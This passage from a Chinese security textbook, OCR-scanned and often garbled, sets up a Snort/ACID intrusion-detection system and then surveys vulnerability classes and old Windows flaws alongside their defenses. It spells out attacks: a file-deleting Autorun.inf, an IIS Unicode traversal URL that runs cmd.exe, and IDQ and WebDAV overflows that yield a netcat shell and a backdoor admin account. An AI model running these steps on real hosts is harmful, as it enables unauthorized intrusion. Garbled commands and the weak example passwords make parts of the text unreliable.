Connector/NET 6.5.4 To be installed 


MYSQL Documentation 5.5.29 Tobe instaled 


To be installed 


图 6-8 MySQL 安装 界面 4 
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国 7sSqL Installer 


AN MYSQL Server Coni ation 
MySQL. Installer dai 
Server Configuration Type 


rect server configuration type for this MySQL Server 
ing wil define how much system resources are assigned 


Enable TCP/IP Networking 


Enable this to alow TCP/IP networking. Only localhost connections 
through named piper are allowed when this option is skipped. 


Port Number: [3306 
Open Firewall port for network access 


Advanced Configuration 
2 ‘Select the checkbox below to get additional configuration page where 
NS mp 


口 Show Advanced Options 


图 6-9 MySQL 安装 界面 5 
Installer 


MySQL Server Configuration 
. Installer 


Root Account Password 


Enter the password for the root account. Please remember to store 
this password in a secure place. 


MySQL Root Password: [ees 


Repeat Password: E ] 
Password Strength: Weak 


MySQL User Accounts 


Create MySQL user accounts For your users and applications 
Assign a role to the user that consists of a set of privileges. 


6-10 MySQL 安装 界面 6 


安装 完毕 后 ,进入 MySQL 控制 台 , 建 立 Snort 运行 必须 的 Snort 数据 库 和 Snort_ 
Archive 数据 库 。 
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d:\Program Files\MySQL\MySOL Server 5. 0\bin>mysql — u root — p 
Enter password: (安装 时 设 定 的 密码 ) 

mysql > create database snort; 

mysql > create database snort_archive; 


使 用 d:\Snort\schemas 目录 下 的 create_mysql 脚本 建立 Snort 运行 必须 的 数据 表 。 
在 命令 行 方式 下 分 别 输入 和 执行 以 下 两 条 命令 。 


c:\mysql\bin\mysql -D snort -u root -p<d:\snort\schemas\create mysql; 
c:\mysql\bin\mysql -D snort archive -u root — p<d:\snort\schemas\create_mysql; 


在 本 地 数据 库 中 建立 acid 和 snort 两 个 用 户 。 本 例 中 密码 全 部 用 "1234”。 


mysql > grant usage on *. * to "acid"@"localhost" identified by "1234"; 
mysql > grant usage on *. * to "snort"@localhost" identified by "1234"; 


为 acid 用 户 和 snort 用 户 分 配 相 关 权 限 。 


mysql > grant select, insert, update, delete, create,alter on snort . * to "snort"@"localhost"; 
mysql > grant select, insert, update, delete, create,alter on snort . * to "acid"@"localhost"; 
mysql > grant select, insert, update, delete, create, alter on snort_archive . * 

to "acid"@"localhost"; 
mysql > grant select, insert, update, delete, create, alter on snort_archive . * 

to "snort"@" localhost"; 


4) Apache 安装 

安装 Apache 至 C:\ids\apache 目录 下 ,测试 Apache 站 点 。 但 需要 注意 监听 端口 ,由 于 
Windows IIS 中 的 Web 服务 器 默认 情况 下 在 TCP 80 端口 监听 连接 请 求 ,而 8080 端口 一 般 
留 给 代理 服务 器 使 用 ,因此 为 了 避免 Apache Web 服务 器 的 监听 端口 与 其 发 生 冲 突 , 将 
Apache Web 服务 器 的 监听 端口 修改 为 不 常用 的 高 端 端口 50080。 

5) PHP 安装 

安装 PHP 至 C:\ids\php5 目录 下 即 可 。 

G) 将 Php5ts. dll 复制 到 C: \ windows\ system32 下 ,把 Php. int-dist 复制 到 C:\ 
windows 下 并 重新 命名 为 Php. ini。 

(2) 添加 GD 图 形 库 的 支持 ,将 Phi. ini 中 把 * ;extension 一 php_gd2. dll” #1“; extension 
=php_mysal. dll” 这 两 条 语句 前 面 的 分 号 (注释 ) 去 掉 。 

(3) 将 C:\ids\php5\ext 下 的 文件 php_gd2. dll 与 php_mysql. dll 复制 至 C:\windows 
下 ; 将 php_mysql. dll 复制 至 C:\windows\system32 F; 将 C:\ids\php5\libmysql. dll 复 
制 至 C: \ windows\system32 下 。 此 外 ,还 需 修 改 php. ini 中 extension_dir 指定 路 径 
extension_dir = c:/php/ext( 根 据 PHP 安装 路 径 中 的 目录 名 来 设 定 )。 

(4) 添加 Apache 对 PHP 的 支持 。 在 C:\ids\apache\conf\httpd. conf 的 末尾 添加 以 下 语句 : 


LoadModule php5_module c:/ids/php5/php5apache2_2. dll 
AddType application/x— httpd- php .php 
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php. ini 不 需要 复制 到 Windows 目录 中 (也 可 以 复制 到 Windows 目录 中 ), 只 要 在 
httpd. conf 中 做 如 下 指定 : 


PHPIniDir "c:\php" 


(5) 重新 启动 Apache. Æ C:\ids\APACHE\htdoes 目录 下 新 建 test. php, N#: <? 
phpinfo();? 二 。 在 IE 中 使 用 http://localhost/test. php 测试 PHP 是 否 成 功 安装 。 使 用 
http:// 你 的 ip 地 址 /test. php. 

6) ADODB 安装 

将 ADODB 解压 缩 至 C:\ php5\adodb 目录 下 即 可 。 

7) 安装 配置 数据 控制 台 ACID 

首先 ,将 ACID 解压 缩 至 C: \apache\htdocs\acid 目录 下 。 

修改 该 目录 下 的 ACID_CONF. PHP 文件 ,修改 内 容 如 下 : 


$ DBlib path = "c:\php5\adodb"; 
$ DBtype = "mysql"; 


$alert dbname = "snort"; 

$ alert_host = "localhost"; 
$ alert_port = "3306"; 

$ alert_user = "acid"; 


$ alert_password = "acidtest"; 
/* Archive DB connection parameters * / 


$ archive dbname = "snort_archive"; 
$ archive_host = "localhost"; 

$ archive_port = "3306"; 

$ archive_user = "acid"; 


$ archive password = "acidtest"; 
$ ChartLib_path = "c:\php5\jpgraph\src"; 


然后 ,重新 启动 Apache 服务 。 建 立 ACID 运行 必须 的 数据 库 。 在 IE 中 输入 "http:// 
localhost/acid/acid_db_setup. php”, 打 开 页 面 后 , 单 击 Create ACID AG 按钮 ,建立 数据 库 ， 
如 图 6-11 所 示 。 

8) 将 Snort 规则 放 入 d:\snort 目录 下 

解压 规则 库 放 到 d:\snort 目录 下 ,编辑 d:\snort\etc\ snort. conf, 需 要 修改 的 地 方 
mF. 


include classification. config 
include reference. config 


改 为 绝对 路 径 : 


include d:\snort\etc\classification. config 
include d:\snort\etc\reference. config 
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Bacom DB Setup - Microsoft Internet Explorer 

RHQ) RED FEV KEO IAW Hw 

Qa- O- AA G| Per ex es olo La 

HEO fÆ n+ tp: //Locelhost/aci d/acid_db_setup. php -| Dea | whiz > 


ACID D B Setup ae, AG Maintenance 


[ Back ] 


ACID tables Adds tables to extend the Snort DB to support the ACID functionality Create ACID AG | 


Search Indexes (Optional) Adds indexes to the Snort DB to optimize the speed of the DONE 
queries 


[Loaded in 1 seconds] 


Roman Danyliw AirCERT 


f- 
eat ttre 7 
图 6-11 建立 ACID 运行 必须 的 数据 库 


设置 Snort 输出 alert 到 MySQL Server 


output database: log,mysql, user = root password = mysql dbname = snort 
host = localhost 

var HOME_NET 192. 168.1. 0/24 一 一 (用 户 所 处 的 网 段 ) 

var RULE_PATH d:\Snort\rules 一 一 (规则 文件 存放 的 目录 ) 
dynamicpreprocessor directory d:\Snort\lib\snort_dynamicpreprocessor 
dynamicengine d:\Snort\1ib\snort_dynamicengine\sf_engine. dll 


9) 启动 Snort 

d:\snort\bin>snort -c "d:\snort\ete\snort. conf" -1 "d:\snort\logs" -i 2 - d -e -X 

-X 参数 用 于 在 数据 链 路 层 记 录 RAW Packet 数据 。 

-d 参数 记录 应 用 层 的 数据 。 

-e 参数 显示 /记录 第 二 层 报 文 头 数据 。 

-c 参数 用 以 指定 Snort 的 配置 文件 的 路 径 。 

-i 指明 监听 的 网 络 接口 。 

10) 测试 Snort 

在 IE 浏览 器 中 并 输入 “http://localhost/acid/acid_main. php”, 进 入 ACID 分 析 控 制 台 
主 界面 ,从 中 便 可 以 查看 到 统计 数据 ,如 图 6-12 所 示 。 至 此 ,基于 Snort 的 入 侵 检测 系统 配 
置 结 束 。 后 续 工 作 则 是 完善 Snort 规则 配置 文件 。 
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Analysis Console for Intrusion Databases 
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图 6-12 Snort 运行 测试 结果 


6.3 漏洞 检测 技术 和 系统 漏洞 检测 工具 


系统 漏洞 是 指 应 用 软件 或 操作 系统 软件 在 逻辑 设计 上 的 缺陷 或 在 编写 时 产生 的 错误 ， 
这 个 缺陷 或 错误 可 以 被 不 法 者 或 者 黑客 利用 ,通过 植 和 木马、 病毒 等 方式 来 攻击 或 控制 整个 
计算 机 ,从 而 窃取 计算 机 中 的 重要 资料 和 信息 ,甚至 破坏 计算 机 系统 。 

漏洞 会 影响 到 的 范围 很 大 ,包括 系统 本 身 及 其 支撑 软件 ,网 络 客 户 和 服务 器 软件 ,网 络 
路 由 器 和 安全 防火 墙 等 。 换 而 言 之 ,在 这 些 不 同 的 软 硬 件 设备 中 都 可 能 存在 不 同 的 安全 漏 
洞 问题 。 在 不 同 种 类 的 软 、 硬 件 设备 , 同 种 设备 的 不 同 版 本 之 间 , 由 不 同 设备 构成 的 不 同系 
统 之 间 ,以 及 同 种 系统 在 不 同 的 设置 条 件 下 ,都 会 存在 各 自 不 同 的 安全 漏洞 问题 。 

对 网 络 信息 系统 的 安全 而 言 , 仅 具 有 事后 追查 或 实时 报警 功能 的 安全 检测 装备 是 不 够 
的 ,还 需要 具备 系统 安全 漏洞 扫描 能 力 的 事先 检查 型 的 安全 工具 。 

系统 漏洞 检测 又 称 为 漏洞 扫描 ,就 是 对 重要 网 络 信息 系统 进行 检查 ,发 现 其 中 可 被 攻击 
者 利用 的 漏洞 。 不 管 攻击 者 是 从 外 部 还 是 从 内 部 攻击 某 一 网 络 系统 ,一 般 都 会 利用 该 系统 
已 知 的 漏洞 。 因 此 ,漏洞 扫描 技术 应 该 用 在 攻击 者 入 侵 和 攻击 网 络 系统 之 前 。 


6.3.1 入 侵 攻 击 可 利用 的 系统 漏洞 类 型 

入 侵 者 常常 从 收集 ,发现 和 利用 信息 系统 的 漏洞 来 发 起 对 系统 的 攻击 。 不 同 的 应 用 ,其 
至 同一 系统 不 同 的 版 本 ,其 系统 漏洞 都 不 尽 相同 ,大 致 上 可 以 分 为 以 下 3 类 。 

1. 网 络 传输 和 协议 的 漏洞 


攻击 者 利用 网 络 传输 时 对 协议 的 信任 以 及 网 络 传输 的 漏洞 进入 系统 。 例 如 ,IP 欺骗 就 
是 利用 网 络 传输 时 对 IP 协议 的 信任 ; 而 网 络 嗅 探 器 则 利用 了 网 络 信息 明文 传送 的 弱点 。 
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另外 ,攻击 者 还 可 利用 协议 的 特性 进行 攻击 ,如 对 TCP 序列 号 的 攻击 等 。 攻 击 者 还 可 以 设 
法 避 开 认证 过 程 或 通过 假冒 (如 源 地 址 ) 而 混 过 认证 过 程 。 例 如 ,有 的 认证 功能 是 通过 主 
机 地 址 来 做 认证 的 ,一 个 用 户 通过 认证 , 则 这 个 机 器 上 的 所 有 用 户 就 都 通过 了 认证 。 此 外 ， 
DNS, Whois, Finger 等 服务 也 会 泄露 出 许多 对 攻击 者 有 用 的 信息 ,如 用 户 地 址 .电话 号 
码 等 。 

2. 系统 的 漏洞 

攻击 者 可 以 利用 服务 进程 的 Bug 和 配置 错误 进行 攻击 ,因为 系统 内 部 的 程序 可 能 存在 
许多 Bug。 因 此 ,存在 着 入 侵 者 利用 程序 中 的 Bug 来 获取 特权 用 户 权 限 的 可 能 。 窃 取 系 统 
中 的 口令 是 最 简单 和 直截了当 的 攻击 方法 ,因而 对 系统 口令 文件 的 保护 方式 也 在 不 断 的 改 
进 。 口令 文件 从 明文 (隐藏 口令 文件 ) 改进 成 密 文 , 又 改进 成 使 用 阴影 (Shadow) 的 方式 。 

3. 管理 的 漏洞 

攻击 者 可 以 利用 各 种 方式 从 系统 管理 员 和 用 户 那 里 诱骗 或 套 取 可 用 于 非法 进入 的 系统 
信息 ,包括 口令 、 用 户 名 等 。 

通过 对 入 侵 过 程 的 分 析 , 系 统 的 安全 漏洞 可 分 为 以 下 5 类 。 

(1) 可 使 远程 攻击 者 获得 系统 的 一 般 访问 权限 。 

(2) 可 使 远程 攻击 者 获得 系统 的 管理 权限 。 

(3) 远程 攻击 者 可 使 系统 拒绝 合法 用 户 的 服务 请 求 。 

(4) 可 使 一 般 用 户 获 得 系统 管理 权限 。 

(5) 一 般 用 户 可 使 系统 拒绝 其 他 合法 用 户 的 服务 请 求 。 

从 系统 本 身 的 结构 来 看 ,系统 的 漏洞 可 分 为 以 下 4 类 。 

(1) 安全 机 制 本 身 存在 的 安全 漏洞 。 

(2) 系统 服务 协议 中 存在 的 安全 漏洞 。 

(3) 系统 .服务 管理 与 配置 的 安全 漏洞 。 

(4) 安全 算法 .系统 协议 与 服务 现实 中 存在 的 安全 问题 。 

按照 漏洞 的 形成 原因 ,漏洞 大 体 上 可 以 分 为 程序 逻辑 结构 漏洞 .程序 设计 错误 漏洞 、 开 
放 式 协议 造成 的 漏洞 和 人 为 因素 造成 的 漏洞 。 

按照 漏洞 被 人 掌握 的 情况 ,漏洞 又 可 分 为 已 知 漏洞 .未 知 漏洞 和 0 day 漏洞 等 几 种 
类 型 。 

从 作用 范围 角度 ,漏洞 又 可 分 为 远程 漏洞 (攻击 者 可 以 利用 并 直接 通过 网 络 发 起 攻击 的 
漏洞 ) 和 本 地 漏洞 (攻击 者 必须 在 本 机 拥有 访问 权限 前 提 下 才能 发 起 攻击 的 漏洞 )。 


6.3.2 漏洞 检测 技术 的 分 类 


漏洞 检测 技术 可 采用 两 种 策略 , 即 被 动 式 策略 和 主动 式 策略 。 前 者 是 基于 主机 的 检测 ， 
对 系统 中 不 合适 的 设置 .脆弱 的 密码 以 及 其 他 同安 全 策略 相抵 触 的 对 象 进行 检查 。 后 者 是 
基于 网 络 的 检测 ,通过 执行 一 些 脚本 文件 对 系统 进行 攻击 ,并 记录 其 反应 ,从 而 发 现 其 中 
漏洞 。 

根据 所 采用 的 技术 特点 ,漏洞 检测 技术 可 以 分 为 以 下 5 类 。 

(1) 基于 应 用 的 检测 技术 。 采 用 被 动 . 非 破坏 性 的 办 法 来 检查 应 用 软件 包 的 设置 ,发 现 
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安全 漏洞 。 

(2) 基于 主机 的 检测 技术 。 采 用 被 动 . 非 破坏 性 的 办 法 对 系统 进行 检测 , 常 涉及 系统 内 
核 ,文件 的 属性 、 操 作 系统 的 补丁 等 问题 。 这 种 技术 还 包括 口令 解密 ,因此 这 种 技术 可 以 非 
常 准确 地 定位 系统 存在 的 问题 ,发 现 系 统 漏洞 。 其 缺点 是 与 平台 相关 ,升级 复杂 。 

(3) 基于 目标 的 检测 技术 。 采 用 被 动 非 破坏 性 的 办 法 检查 系统 属性 和 文件 属性 ,如 数 
据 库 、. 注 册 号 等 。 通 过 消息 摘要 算法 ,对 系统 属性 和 文件 属性 进行 哈 希 (Hash) 函数 运算 。 
如 果 函 数 的 输入 有 一 点 变化 ,其 输出 就 会 发 生 大 的 变化 ,这 样 文件 和 数据 流 的 细微 变化 都 会 
被 感知 。 这 些 算 法 实现 是 运行 在 一 个 闭环 上 ,不 断 地 处 理 文件 和 系统 目标 属性 ,然后 产生 校 
验 数 ,把 这 些 校 验 数 同 原来 的 校 验 数 相 比较 ,一 旦 发 现 改变 就 通知 管理 员 。 

(4) 基于 网 络 的 检测 技术 。 采 用 积极 、 非 破坏 性 的 办 法 来 检验 系统 是 否 有 可 能 被 攻击 
而 崩 泪 。 它 利用 了 一 系列 脚本 对 系统 进行 攻击 ,然后 对 结果 进行 分 析 。 网 络 检测 技术 常 被 
用 来 进行 穿 透 实验 和 安全 审计 。 这 种 技术 可 以 发 现 系统 平台 的 一 系列 漏洞 ,也 容易 安装 。 
但 是 , 它 容易 影响 网 络 的 性 能 。 

(5) 综合 的 技术 。 它 集中 了 以 上 4 类 技术 的 优点 , 极 大 地 增强 了 漏洞 识别 的 精度 。 


6.3.3 系统 漏洞 检测 的 方法 


系统 漏洞 检测 是 通过 一 定 的 技术 方法 主动 地 去 发 现 系 统 中 未 知 的 安全 漏洞 。 现 有 的 漏 
洞 检测 方法 有 源 代码 扫描 \ 反 汇编 代码 扫描 、 渗 透 分 析 、 环 境 错 误 注入 等 。 

1. 源 代码 扫描 

由 于 相当 多 的 安全 漏洞 在 源 代 码 中 会 出 现 类 似 的 错误 ,因此 可 以 通过 匹配 程序 中 不 符 
合 规则 的 部 分 (如 文件 结构 、 命 名 规则 、 函 数 、 堆 栈 指针 等 ), 从 而 发 现 程序 中 可 能 隐 含 的 缺 
陷 。 源 代码 扫描 技术 主要 针对 开放 源 代 码 的 程序 ,因而 这 种 检测 技术 需要 熟练 掌握 编程 语 
言 , 并 预先 定义 出 不 安全 代码 的 审查 规则 ,通过 表达 式 匹 配 的 方法 检查 源 程序 代码 。 该 方法 
不 仅 能 够 发 现 程序 动态 运行 过 程 中 存在 的 安全 漏洞 ,而且 会 出 现 大量 的 误 报 。 

2. 反 汇 编 代 码 扫描 

对 于 不 公开 的 源 代码 程序 , 反 汇 编 代码 扫描 是 最 有 效 的 检测 方法 ,但 分 析 反 汇编 代码 需 
要 有 丰富 的 经 验 和 很 高 的 技术 。 采 用 反 汇编 代 码 扫 描 方法 可 以 自行 分 析 代 码 , 也 可 以 借助 
辅助 工具 得 到 目标 程序 的 汇编 脚本 语言 ,再 对 汇编 出 来 的 脚本 语言 使 用 扫描 方法 ,检测 不 安 
全 的 汇编 代码 序列 。 通 常 ,通过 反 汇编 代码 扫描 方法 可 以 检测 出 大 部 分 的 系统 漏洞 ,但 这 种 
方法 费时 费力 ,对 人 员 的 技术 水 平 要 求 很 高 ,也 同样 不 能 检测 到 程序 动态 运行 过 程 中 产生 的 
安全 漏洞 。 

3. 渗透 分 析 

渗透 分 析 法 是 依据 已 知 安全 漏洞 检测 未 知 的 漏洞 ,但 是 渗透 分 析 以 事先 知道 系统 中 的 
某 种 漏洞 为 先决 条 件 。 渗 透 分 析 的 有 效 性 与 执行 分 析 的 程序 员 有 关 ,缺乏 评估 的 客观 性 。 

4. 环境 错误 注入 

环境 错误 注入 法 是 软件 运行 的 环境 中 故意 注入 人 为 的 错误 ,并 验证 反应 一 一 这 也 是 验 
证 计算 机 和 软件 系统 容错 性 和 可 靠 性 的 一 种 有 效 方法 。 
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6.3.4 常见 的 系统 漏洞 及 防范 


1. 利用 Windows XP 的 AutoRun 漏洞 删除 硬盘 文件 

AutoRun 是 指 在 Windows XP 系统 的 计算 机 中 插入 光盘 后 ,光盘 中 的 Autorun. inf 指 
定 的 程序 被 自动 运行 的 现象 。 利 用 Windows XP 的 AutoRun 漏洞 进行 攻击 的 过 程 如 下 。 

A) 新 建 一 个 文本 文件 ,输入 以 下 内 容 : 


[AutoRun] 
Open = run\del c:\test1. txt 


(2) 保存 文件 ,将 该 文件 重 名 为 Autorun. inf, 

(3) 使 用 光盘 刻录 工具 刻录 一 张 光盘 ,在 光盘 的 根 目 录 下 加 入 Autorun. inf 文件 。 

(4) 在 C 盘 的 根 目录 下 新 建 testl. txt 文件 。 

(5) 插入 光盘 并 让 其 自动 运行 。 

(6) 光盘 自动 运行 结束 后 ,查看 C 盘 根 目 录 , 发 现 test]. txt 文件 已 被 删除 。 

2. IPC$ 默认 共享 漏洞 

IPC $ (Internet Process Connection) 是 共享 “命名 管道 ”的 资源 ,可 以 在 连接 双方 建立 
-条 安全 的 通道 ,实现 对 远程 计算 机 的 访问 。 

Windows NT/2000/XP 提供 了 IPC$ 功能 ,在 初次 安装 系统 时 还 打开 了 默认 共享 , 即 

spice roaming DS 了 $…) 和 系统 目录 (ADMIN $ ) 共 享 。 所 有 这 些 共享 的 目的 都 

是 为 了 方 alent 的 管理 ;但 在 意 中 , 导 致 了 系统 安全 性 的 隐患 。 


可 以 在 “运行 "文本 框 中 输入 “cmd”, 进 入 命令 提示 符 ,输入 “net share”, 查 看 计算 机 中 
的 共享 资源 ,找到 共享 目录 ,如 图 6-13 所 示 ; 也 可 以 依次 选择 "开始 ?一 控制 面板 ”一 “管理 
工具” 一 “计算 机 管理 ”>“ 共 享 文件 夹 " 选 项 ,查看 所 有 的 共享 资源 ,如 图 6-14 所 示 。 


5-2001 Mic 


and Settings\Adninistra 


C:\Documents and Settings Administrator 


图 6-13 用 net share 查看 计算 机 中 的 共享 资源 
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局 文件 四 ”操作 ”查看 WD Sow Hho 
e» Am aB em 
B 计算 机 管理 本 地 ) 


Windows 
Windows 
Windows 
Windows 
Windows 
Windows 
Windows 
Windows 


2E 
a 服务 和 应 用 程序 


图 6-14 “计算 机 管理 "查看 计算 机 中 的 共享 资源 


2) 清除 共享 漏洞 

(1) 依次 选择 “开始 ”一 “控制 面板 ”>“ 管 理工 具 ”>“ 服 务 ” 选 项 ,在 打开 的 窗口 中 找到 
“Server” MRA ,停止 该 服务 ,并 且 在 “属性 ”中 将 “启动 类 型 "设置 为 手动 "或 “已 禁用 ”。 

D 修改 注册 表 。 依 次 选择 “开始 ”一 “运行 "选项, 在“ 运行" 栏 中 输入 “regedit" 进 入 “ 注 
册 表 编辑 器 ”窗口 ,找到 HEK Y_LOCAL_MACHINE\System\CurrentControlSet\ Services 
\LanmanServer\Paramaters 子 键 ,在 右 侧 的 窗口 中 分 别 新 建 一 个 名 为 “AutoShareWks” 和 
“AutoShareServer” 的 双 字 节 键 值 ,并 且 将 值 设 置 为 “0”。 

(3) 使 用 命令 提示 符 下 的 “net share” 命 令 也 可 以 很 好 地 消除 这 一 隐患 。 打 开 Windows 
自 带 的 记事 本 ,输入 如 下 内 容 : 


net share admin $ /del 
net share ipc$ /del 
net share c /del 


接 下 来 将 该 文件 保存 为 一 个 扩展 名 为 “. bat” 的 批 处 理 文件 。 最 后 ,运用 Windows 的 
“任务 计划 ?功能 让 该 批 处 理 文件 在 每 次 开机 时 都 自动 运行 。 如 果 还 有 其 他 盘 使 用 了 共享 ， 
如 D 盘 , 则 在 记事 本 中 添加 “net share d /del” 即 可 。 注 意 : 输入 时 不 要 忽略 参数 之 前 的 
空格 。 

3. Unicode 漏洞 

1) Unicode 漏洞 的 危害 

在 Unicode 字符 解码 时 ,IIS 4. 0/5. 0 存在 一 个 安全 漏洞 ,导致 用 户 可 以 远程 通过 IIS 执 
行 任意 命令 。 当 用 户 用 IIS 打开 文件 时 ,如 果 该 文件 名 包含 Unicode 字符 ,系统 会 对 其 进行 
解码 。 如 果 用 户 提供 一 些 特殊 的 编码 ,将 导致 S 错误 地 打开 或 者 执行 某 些 Web 根 目录 以 
外 的 文件 。 

未 经 授权 的 用 户 可 能 会 利用 IUSR_machinename 账号 的 上 下 文 空间 访问 任何 已 知 的 
文件 。 该 账号 在 默认 情况 下 属于 Everyone 和 Users 组 的 成 员 , 因 此 任何 与 Web HARE 
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同一 逻辑 驱动 器 上 的 能 被 这 些 用 户 组 访问 的 文件 都 可 能 被 删除 .修改 或 执行 。 

通过 此 漏洞 ,可 查看 文件 内 容 、 建 立 文件 夹 . 删 除 文件 复制 文件 且 改 名 、 显 示 目 标 主机 
当前 的 环境 变量 ,把 某 个 文件 夹 内 的 全 部 文件 一 次 性 复制 到 另外 的 文件 夹 去 、 把 某 个 文件 夹 
移动 到 指定 的 目录 和 显示 某 一 路 径 下 相同 文件 类 型 的 文件 内 容 等 。 

2) Unicode 漏洞 的 成 因 

Unicode 漏洞 的 成 因 可 大 致 归结 为 : 从 中 文 Windows IIS 4.0 十 SP6 开始 ,还 影响 中 文 
Windows 2000 十 IIS 5.0、 中 文 Windows 2000 十 IIS5.0 十 SP1。 它 们 利用 扩展 Unicode 字符 
(如 利用 *../” 取 代 */” 和 “\”) 进 行 目录 遍历 漏洞 。 据 了 解 ,在 Windows NT 中 编码 为 % 
cl%9c, 在 Windows 2000 英文 版 中 编码 为 %c0%af。 

3) Unicode 漏洞 检测 

首先 ,对 网 络 内 的 Windows NT/2000 主机 ,可 以 在 IE 地址 栏 输入 “http:// 主机 地 址 / 
scripts/.. % c1% 1c../winnt/system32/cmd. exe? /c 十 dir”( 其 中 %cl%1c X Windows 
2000 漏洞 编码 ,在 不 同 的 操作 系统 中 ,可 使 用 不 同 的 漏洞 编码 ) ,如 漏洞 存在 ,还 可 以 将 dir 
换 成 set 和 mkdir 等 命令 。 其 次 ,要 检测 网 络 中 某 IP 段 的 Unicode 漏洞 情况 ,可 使 用 如 X- 
Scan, RangeScan 扫描 器 、Unicode 扫描 程序 Uni2. pl 及 流光 Fluxay4.7 和 SSS 等 扫描 软件 
来 检测 。 

4) Unicode 漏洞 解决 方法 

若 网 络 内 存在 Unicode 漏洞 ,可 采取 如 下 方法 进行 补救 。 

(1) 限制 网 络 用 户 访问 和 调用 cmd 命令 的 权限 。 

(2) 若 没 必 要 使 用 Scripts 和 MSADC 目录 ,将 其 删除 或 改名 。 

(3) 安装 Windows NT 系统 时 不 要 使 用 默认 Winnt 路 径 ,可 改 为 其 他 文件 夹 ,如 C: \ 
my windowsnt。 

(4) 用 户 下 载 补丁 程序 。 

4. IDQ 溢出 漏洞 

IDQ 漏洞 对 操作 系统 的 安全 威胁 非常 大 ,因为 攻击 者 通过 IDQ 漏洞 远程 溢出 成 功 后 ， 
可 以 取得 服务 器 的 管理 员 权 限 。 

微软 公司 曾 发 布 安全 公告 ,指出 其 Index Server 和 Indexing Service 存在 漏洞 。 作 为 安 
装 过 程 的 一 部 分 ,IIS 安装 了 几 个 ISAPI 扩展 DLL。 其 中 的 idq. dll 存在 问题 , 它 是 Index 
Server 的 一 个 组 件 ,对 管理 员 脚 本 (. ida 文件 ) 和 Internet 数据 查询 (. idq 文件 ) 提 供 支 持 。 

1) 利用 IDQ 溢出 漏洞 进行 攻击 的 方法 

所 需 工 具 : SuperScan 扫描 器 IDQ Yat HH TAL nc. exe. 

第 1 步 : 运行 SuperScan 扫描 器 ,定义 IP 有 段 , 扫 描 的 端口 设置 成 3389。 这 样 ,就 能 扫 到 
数 台 3389 端口 开 着 的 机 器 。 

第 2 步 : 运行 IDQ 溢出 工具 ,出 现 一 个 窗口 , 填 好 要 入 侵 的 主机 IP, 选 取 所 对 应 的 系统 
SP 补丁 栏 ,其 他 设置 不 改 , 取 默认 。 然 后 单 击 窗口 右边 的 “IDQ 溢出 ”按钮 。 如 果 成 功 ,将 会 
显示 “发 送 shellcode 到 ' 主 机 地 址 :80 7 成功” 的 提示 ; 如 果 不 成 功 会 提示 连接 错误 。 

第 3 步 : 连接 成 功 后 ,打开 Windows 下 的 DOS 状态 ,输入 “nc-vv IP813”. 成 功 后 可 以 
用 net user 创建 用 户 , 用 net localgroup 加 入 管理 员 权 限 ,这样 就 可 用 2000 客户 端 进入 
主机 。 
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2) 防范 策略 

选择 “开始 ”>“ 程 序 ”>“ 管 理工 具 ”>“Internet 工具 ”选项 ,在 打开 的 窗口 中 选择 IIS 的 
属性 ,把 .idq 和 . ida 的 映射 删除 ,然后 下 载 并 安装 全 部 的 微软 补丁 包 。 

5. WebDAV 溢出 漏洞 

Microsoft IIS 5. 0(Internet Information Server 5.0) 是 Microsoft Windows 2000 自 带 
的 一 个 网 络 信息 服务 器 (包含 HTTP 服务 )。IIS 5. 0 默认 提供 了 对 WebDAV 的 支持 ,经 过 
WebDAV 可 以 通过 HTTP 向 用 户 提供 远程 文件 存储 服务 。 但 是 作为 普通 的 HTTP 服务 
器 ,这 个 功能 不 是 必须 的 。IIS 5. 0 包含 的 WebDAV 组 件 不 充分 检查 传递 给 部 分 系统 组 件 
的 数据 ,远程 攻击 者 利用 这 个 漏洞 对 WebDAV 进行 缓冲 区 溢出 攻击 ,可 能 以 Web 进程 权 
限 在 系统 上 执行 任意 指令 。 

IIS 5.0 的 WebDAV 使 用 了 ntdll. dll 中 的 一 些 函 数 ,而 这 些 函 数 存在 一 个 缓冲 区 溢出 
漏洞 。 通 过 对 WebDAV 的 畸形 请 求 可 以 触发 这 个 溢出 。 成 功利 用 这 个 漏洞 可 以 获得 
LocalSystem 权限 。 这 意味 着 入 侵 者 可 以 获得 主机 的 完全 控制 能 力 。 

1) WebDAV 溢出 漏洞 的 应 用 

所 需 工 具 : WebDAVScan( 用 于 检测 网 段 的 Microsoft IS 5. 0 服务 器 是 否 提供 了 对 
WebDAV 的 支持 )\WebDAVCWebDAY 漏洞 的 溢出 工具 ) 和 nc. exe( 远 程 连接 工具 ) 。 

(1) 双击 启动 WebDAVScan 工具 , 填 入 待 扫描 的 开始 IP 与 结束 IP, 单 击 “ 扫 描 ” 按 钮 进 
行 网 段 扫 描 , 稍 等 一 会 儿 , 整 个 网 段 的 扫描 结果 就 出 现 了 ,如 图 6-15 所 示 。 


-IP 范围 -参数 

Frare: [192.168.0.1 结束 [192.168.0254 $: [ioo agm: [oo 端 fo 
mj] e = 

192. 168. 0. 210 Microsoft-IIS/6.0 Disable 

192, 168. 0. 80 Apache/2.0.45 (Unix) PHP/4.3.1 Disable 

192, 168.0. 21 Apache/2.0.45 (Unix) PHP/4. 3.1 Disable 


图 6-15 WebDAVScan 扫描 结果 


(2) 选择 “开始 ”一 “运行 ”选项 ,在 打开 的 “运行 "对话 框 中 输入 “cmd” 后 按 Enter 键 , 切 
换 到 保存 有 Webdavx. exe 和 nc. exe 的 目录 .在 命令 行 下 输入 *Webdav 192. 168. 0. 21”, 并 
按 Enter 键 开 始 溢出 攻击 ,Webdavx 会 自动 寻找 溢出 点 ,如 图 6-16 所 示 。 

(3) 溢出 成 功 后 ,输入 “nc192. 168. 0. 21 7788”, 并 按 Enter 键 ,可 以 远程 连接 得 到 目标 
计算 机 的 一 个 Shell。 为 了 以 后 方便 连接 ,对 guest 账户 设置 一 个 密码 ,并 加 入 管理 员 组 里 。 
更 改 guest 密码 的 命令 为 “net user guest 所 更 改 密码 ”, 把 guest 的 用 户 密码 设置 为 hack。 
接 下 来 ,把 guest 账户 加 到 管理 员 组 里 ,格式 为 “net localgroup administrators guest /add”。 

2) 防范 策略 

启动 注册 表 编 辑 器 (regedit32. exe) ,搜索 注册 表 中 的 键 : HKEY_LOCAL_ MACHINE 


6-16 WebDAV 的 工作 结果 


\SYSTEM\CurrentControlSet\Services\ W3SVC\ Parameters. 
单 击 “ 编 辑 ” 菜 单 , 单 击 增加 值 ,然后 增加 如 下 键 值 : 


Value name: Disable Webdav 
Data type: DWORD 
Value data: 1 


微软 公司 已 经 为 此 发 布 了 一 个 安全 公告 (MS03-007) 以 及 相应 补丁 ,下 载 地址 ; http:// 


www. microsoft. com/technet/security/bulletin/ MS03-007. asp. 
